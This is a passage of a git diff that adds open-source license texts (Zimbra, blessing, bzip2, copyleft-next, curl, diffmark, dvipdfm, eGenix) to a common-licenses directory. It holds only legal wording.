+1. Grant of Copyright License
+
+ 1.1 - Subject to the terms and conditions of this Agreement, Zimbra hereby grants to You, under any and all of its copyright interest in and to the Software, a royalty-free, non-exclusive, non-transferable license to copy, modify, compile, execute, and distribute the Software and Modifications. For the purposes of this Agreement, any change to, addition to, or abridgement of the Software made by You is a “Modification;” however, any file You add to the Software that does not contain any part of the Software is not a “Modification.”
+
+ 1.2 - If You are an individual acting on behalf of a corporation or other entity, Your use of the Software or any Modification is subject to Your having the authority to bind such corporation or entity to this Agreement. Providing copies to persons within such corporation or entity is not considered distribution for purposes of this Agreement.
+
+ 1.3 - For the Software or any Modification You distribute in source code format, You must do so only under the terms of this Agreement, and You must include a complete copy of this Agreement with Your distribution. With respect to any Modification You distribute in source code format, the terms of this Agreement will apply to You in the same way those terms apply to Zimbra with respect to the Software. In other words, when You are distributing Modifications under this Agreement, You “stand in the shoes” of Zimbra in terms of the rights You grant and how the terms and conditions apply to You and the licensees of Your Modifications. Notwithstanding the foregoing, when You “stand in the shoes” of Zimbra, You are not subject to the jurisdiction provision under Section 7, which requires all disputes under this Agreement to be subject to the jurisdiction of federal or state courts of Northern Texas.
+
+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Zimbra, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Zimbra under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Zimbra has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Zimbra to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party’s name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED “AS IS” AND WITHOUT WARRANTY OF ANY KIND. ZIMBRA MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY, REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, ZIMBRA DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, ZIMBRA SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF ZIMBRA HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO, AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL ZIMBRA BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, AND COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE, OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF ZIMBRA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event You violate the terms of this Agreement, Zimbra may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Zimbra at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Zimbra’s liability (Sections 4 and 5), Termination (Section 6), or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings, and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful, or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions, and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of Delaware and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Zimbra or any of its parents or subsidiaries shall be subject to the jurisdiction of the federal or state courts of Northern Texas, with venue lying in Dallas County, Texas. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger, or consolidation, without the prior written consent of Zimbra, and any purported assignment, delegation, or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party’s rights or remedies under this Agreement must be in writing to be effective. Failure, neglect, or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time will not be construed or be deemed to be a waiver of such party’s rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party’s right to take subsequent action.
diff --git a/meta/files/common-licenses/blessing b/meta/files/common-licenses/blessing
new file mode 100644
index 0000000000..7a1b711a6b
--- /dev/null
+++ b/meta/files/common-licenses/blessing
@@ -0,0 +1,5 @@
+The author disclaims copyright to this source code. In place of a legal notice, here is a blessing:
+
+May you do good and not evil.
+May you find forgiveness for yourself and forgive others.
+May you share freely, never taking more than you give.
diff --git a/meta/files/common-licenses/bzip2-1.0.4 b/meta/files/common-licenses/bzip2-1.0.4
new file mode 100644
index 0000000000..4458e35bb5
--- /dev/null
+++ b/meta/files/common-licenses/bzip2-1.0.4
@@ -0,0 +1,43 @@
+
+--------------------------------------------------------------------------
+
+This program, "bzip2", the associated library "libbzip2", and all
+documentation, are copyright (C) 1996-2006 Julian R Seward. All
+rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+2. The origin of this software must not be misrepresented; you must
+ not claim that you wrote the original software. If you use this
+ software in a product, an acknowledgment in the product
+ documentation would be appreciated but is not required.
+
+3. Altered source versions must be plainly marked as such, and must
+ not be misrepresented as being the original software.
+
+4. The name of the author may not be used to endorse or promote
+ products derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
+OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Julian Seward, Cambridge, UK.
+jseward@bzip.org
+bzip2/libbzip2 version 1.0.4 of 20 December 2006
+
+--------------------------------------------------------------------------
diff --git a/meta/files/common-licenses/bzip2-1.0.5 b/meta/files/common-licenses/bzip2-1.0.5
new file mode 100644
index 0000000000..a6957df123
--- /dev/null
+++ b/meta/files/common-licenses/bzip2-1.0.5
@@ -0,0 +1,18 @@
+Version 1.0.5 of 10 December 2007
+
+Copyright © 1996-2007 Julian Seward
+
+This program, bzip2, the associated library libbzip2, and all documentation, are copyright © 1996-2007 Julian Seward. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ • The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ • Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ • The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+PATENTS: To the best of my knowledge, bzip2 and libbzip2 do not use any patented algorithms. However, I do not have the resources to carry out a patent search. Therefore I cannot give any guarantee of the above statement.
diff --git a/meta/files/common-licenses/copyleft-next-0.3.0 b/meta/files/common-licenses/copyleft-next-0.3.0
new file mode 100644
index 0000000000..a66d5bf5ee
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.0
@@ -0,0 +1,219 @@
+ copyleft-next 0.3.0 ("this License")
+ Release date: 2013-05-16
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work. You may
+ additionally license the Derived Work under the GPL, so that the
+ recipient may further Distribute the Derived Work under either this
+ License or the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that Your Distribution complies
+ with such other license.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each recipient of the Covered Work from You is an intended third-party
+ beneficiary of this License solely as to this section 5, with the right
+ to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 2 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 2 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://gitorious.org/copyleft-next/> as of the
+ release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/copyleft-next-0.3.1 b/meta/files/common-licenses/copyleft-next-0.3.1
new file mode 100644
index 0000000000..21c87270fc
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.1
@@ -0,0 +1,220 @@
+ copyleft-next 0.3.1 ("this License")
+ Release date: 2016-04-29
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work.
+
+ If the Derived Work includes material licensed under the GPL, You may
+ instead license the Derived Work under the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that compliance with such
+ other license would not conflict with any conditions stated in other
+ sections of this License.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each direct and indirect recipient of the Covered Work from You is an
+ intended third-party beneficiary of this License solely as to this
+ section 5, with the right to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 3 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 3 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://github.com/copyleft-next/copyleft-next.git/>
+ as of the release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/curl b/meta/files/common-licenses/curl
new file mode 100644
index 0000000000..dd333ab2e4
--- /dev/null
+++ b/meta/files/common-licenses/curl
@@ -0,0 +1,10 @@
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright (c) 1996 - 2015, Daniel Stenberg, <daniel@haxx.se>.
+All rights reserved.
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/diffmark b/meta/files/common-licenses/diffmark
new file mode 100644
index 0000000000..02d3b5013d
--- /dev/null
+++ b/meta/files/common-licenses/diffmark
@@ -0,0 +1,2 @@
+1. you can do what you want with it
+2. I refuse any responsibility for the consequences
diff --git a/meta/files/common-licenses/dvipdfm b/meta/files/common-licenses/dvipdfm
new file mode 100644
index 0000000000..b73cb48e47
--- /dev/null
+++ b/meta/files/common-licenses/dvipdfm
@@ -0,0 +1 @@
+A modified version of this file may be distributed, but it should be distributed with a *different* name. Changed files must be distributed *together with a complete and unchanged* distribution of these files.
diff --git a/meta/files/common-licenses/eGenix b/meta/files/common-licenses/eGenix
new file mode 100644
index 0000000000..9b4d30128a
--- /dev/null
+++ b/meta/files/common-licenses/eGenix
@@ -0,0 +1,40 @@
+EGENIX.COM PUBLIC LICENSE AGREEMENT
+Version 1.1.0
+
+This license agreement is based on the Python CNRI License Agreement, a widely accepted open- source license.
+
+1. Introduction
+This "License Agreement" is between eGenix.com Software, Skills and Services GmbH ("eGenix.com"), having an office at Pastor-Loeh-Str. 48, D-40764 Langenfeld, Germany, and the Individual or Organization ("Licensee") accessing and otherwise using this software in source or binary form and its associated documentation ("the Software").
+
+2. License
+Subject to the terms and conditions of this eGenix.com Public License Agreement, eGenix.com hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that the eGenix.com Public License Agreement is retained in the Software, or in any derivative version of the Software prepared by Licensee.
+
+3. NO WARRANTY
+eGenix.com is making the Software available to Licensee on an "AS IS" basis. SUBJECT TO ANY STATUTORY WARRANTIES WHICH CAN NOT BE EXCLUDED, EGENIX.COM MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, EGENIX.COM MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+4. LIMITATION OF LIABILITY
+EGENIX.COM SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THE ABOVE EXCLUSION OR LIMITATION MAY NOT APPLY TO LICENSEE.
+
+5. Termination
+This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+6. Third Party Rights
